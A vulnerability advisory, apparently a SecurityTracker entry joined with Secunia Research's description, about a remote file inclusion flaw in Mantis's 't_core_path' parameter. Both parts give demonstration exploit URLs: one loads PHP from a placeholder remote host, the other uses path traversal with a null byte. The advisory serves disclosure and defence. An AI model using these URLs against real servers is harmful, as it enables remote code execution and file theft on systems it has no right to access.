Description: A vulnerability was reported in Mantis. A remote user can execute arbitrary code on the target system.
The 'bug_sponsorship_list_view_inc.php' script does not properly validate user-supplied input in the 't_core_path' parameter. A
remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote
location or from the local system. The PHP code, including operating system commands, will run with the privileges of the target
web service.
Some demonstration exploit URLs are provided:
http://[target]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[targ
et]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00
The "register_globals" setting must be enabled
for this exploit to work.
The vendor was notified on September 19, 2005.
Andreas Sandblad of Secunia Research discovered this
vulnerability.

Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

4) Description of Vulnerability
Secunia Research has discovered a vulnerability in Mantis, which can
be exploited by malicious people to compromise a vulnerable system.
Input passed to the "t_core_path" parameter in
"bug_sponsorship_list_view_inc.php" isn't properly verified, before
it used to include files. This can be exploited to include arbitrary
files from external and local resources.
Examples:
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00
Successful exploitation requires that "register_globals" is enabled
(not recommended setting).
The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2.
Other versions may also be affected.
